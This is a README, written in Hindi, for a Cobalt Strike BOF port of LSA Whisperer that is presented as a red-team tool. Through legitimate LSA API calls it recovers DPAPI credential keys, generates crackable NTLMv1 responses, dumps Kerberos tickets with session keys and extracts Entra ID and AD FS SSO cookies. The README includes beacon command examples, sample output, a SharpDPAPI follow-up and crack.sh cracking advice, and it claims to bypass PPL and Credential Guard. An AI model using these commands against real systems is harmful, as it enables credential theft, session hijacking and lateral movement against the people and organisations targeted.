
एक बीकन ऑब्जेक्ट फ़ाइल (BOF) जो LSA अविश्वसनीय/विश्वसनीय क्लाइंट इंटरफ़ेस के माध्यम से सीधे Windows प्रमाणीकरण पैकेजों से बात करती है, LSASS प्रक्रिया मेमोरी को छुए बिना।

यह LSA Whisperer का Cobalt Strike Beacon Object File (BOF) पोर्ट है — एक उपकरण जो LSA अविश्वसनीय/विश्वसनीय क्लाइंट इंटरफ़ेस के माध्यम से सीधे Windows प्रमाणीकरण पैकेजों से संवाद करता है, बिना LSASS प्रक्रिया मेमोरी को छुए, भले ही PPL और Credential Guard सक्षम हो।
Evan McBroom (SpecterOps) द्वारा LSA Whisperer ने प्रदर्शित किया कि आप DPAPI क्रेडेंशियल कुंजियाँ पुनर्प्राप्त कर सकते हैं, क्लाउड SSO टोकन निकाल सकते हैं, और Kerberos के साथ बातचीत कर सकते हैं — ये सब वैध LsaCallAuthenticationPackage API कॉल के माध्यम से। कोई मेमोरी रीड नहीं, कोई प्रक्रिया इंजेक्शन नहीं, LSASS पर कोई हैंडल नहीं।
यह परियोजना उन क्षमताओं को C2 में BOF के रूप में लाती है, जिनका उपयोग रेड टीम अभियानों के दौरान किया जा सके। यह कभी भी lsass प्रक्रिया पर हैंडल नहीं खोलता और सभी कॉल LsaCallAuthenticationPackage (lsass से बात करने के लिए उपयोग किया जाने वाला आधिकारिक क्लाइंट API) के माध्यम से जाते हैं, LSASS पर PPL का कोई महत्व नहीं है। PPL LSASS प्रक्रिया को खोले जाने/पढ़े जाने/इंजेक्ट किए जाने से बचाता है।
| कमांड | विवरण |
|---|
lsa-credkey [LUID] | DPAPI क्रेडेंशियल कुंजी पुनर्प्राप्त करें। Credential Guard के साथ काम करता है। |
lsa-strongcredkey [LUID] | मजबूत DPAPI क्रेडेंशियल कुंजी पुनर्प्राप्त करें (Win10+)। |
lsa-ntlmv1 [LUID] [challenge] | चुनी गई चुनौती के साथ NTLMv1 प्रतिक्रिया उत्पन्न करें। डिफ़ॉल्ट चुनौती 1122334455667788 crack.sh रेनबो टेबल के साथ संगत है। |

| कमांड | विवरण |
|---|---|
lsa-klist [LUID] | कैश की गई Kerberos टिकटों की सूची दिखाएं। |
lsa-dump [LUID] | सभी टिकटों को सत्र कुंजियों के साथ base64 .kirbi ब्लॉब के रूप में डंप करें। |
lsa-purge [LUID] [server] | टिकटें हटाएं। सर्वर नाम द्वारा चयनात्मक शुद्धिकरण का समर्थन करता है। |

| कमांड | विवरण |
|---|---|
lsa-ssocookie [LUID] | AAD प्लगइन के माध्यम से Entra ID (Azure AD) SSO कुकी निकालें। |
lsa-devicessocookie [LUID] | डिवाइस SSO कुकी निकालें। |
lsa-enterprisesso [LUID] | AD FS एंटरप्राइज़ SSO कुकी निकालें। |
lsa-cloudinfo [LUID] | क्लाउड प्रदाता जानकारी, TGT स्थिति, DPAPI स्थिति क्वेरी करें। |
LUID: वर्तमान सत्र के लिए 0 या छोड़ें। किसी विशिष्ट लॉगऑन सत्र को लक्षित करने के लिए हेक्स मान (जैसे, 0x3e7) का उपयोग करें। अन्य सत्रों को लक्षित करने के लिए SYSTEM आवश्यक है।
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
पुनर्प्राप्त कुंजी का उपयोग SharpDPAPI के साथ करें:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
डिफ़ॉल्ट चुनौती के साथ तत्काल NT हैश पुनर्प्राप्ति के लिए crack.sh पर प्रतिक्रिया सबमिट करें।
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor स्क्रिप्ट (इसे लोड करें)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API घोषणाएँ + DFR आयात
│ └── lsa_structs.h # सभी LSA/MSV1_0/Kerberos/CloudAP स्ट्रक्ट्स
├── src/
│ ├── common/
│ │ └── lsa_common.c # साझा LSA इनिशियलाइज़ेशन, हेल्पर्स, आउटपुट फ़ॉर्मेटिंग
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 कमांड्स
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos कमांड्स
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD कमांड्स
└── build/ # संकलित BOFs (make के बाद)
प्रत्येक मॉड्यूल एक स्वतंत्र BOF में संकलित होता है। सामान्य कोड संकलन समय पर शामिल किया जाता है (मानक BOF पैटर्न) — कोई साझा लाइब्रेरी या रनटाइम निर्भरता नहीं।
| संदर्भ | क्षमता |
|---|---|
| वर्तमान उपयोगकर्ता (अनप्रिविलेज्ड) | अपने सत्र के लिए lsa-klist, lsa-ssocookie, lsa-cloudinfo |
SYSTEM (SeTcbPrivilege) | LUID द्वारा किसी भी लॉगऑन सत्र को लक्षित करने वाले सभी कमांड |
लक्ष्य सत्र खोजने के लिए logonpasswords या klist के साथ उपलब्ध LUID की गणना करें।
lsa-credkey और lsa-strongcredkey Credential Guard के माध्यम से काम करते हैं। इसके द्वारा lsa-ntlmv1 अवरुद्ध है।1122334455667788 crack.sh के माध्यम से मुफ़्त रेनबो टेबल क्रैकिंग सक्षम करती है। कस्टम चुनौतियाँ काम करती हैं लेकिन मानक ब्रूट-फोर्स की आवश्यकता होती है।lsa-purge केवल मिलान वाली टिकटों को हटाता है — उपयोगकर्ता के सत्र को बाधित किए बिना लक्षित Kerberos दुरुपयोग के लिए उपयोगी।यह परियोजना SpecterOps के Evan McBroom (@EvanMcBroom) द्वारा LSA Whisperer का BOF पोर्ट है। सभी अंतर्निहित अनुसंधान — अप्रलेखित MSV1_0 प्रोटोकॉल संदेश, CloudAP/AAD प्लगइन कॉल इंटरफ़ेस, और संरचना परिभाषाएँ जो इसे संभव बनाती हैं — उनका काम है।
मुख्य संदर्भ: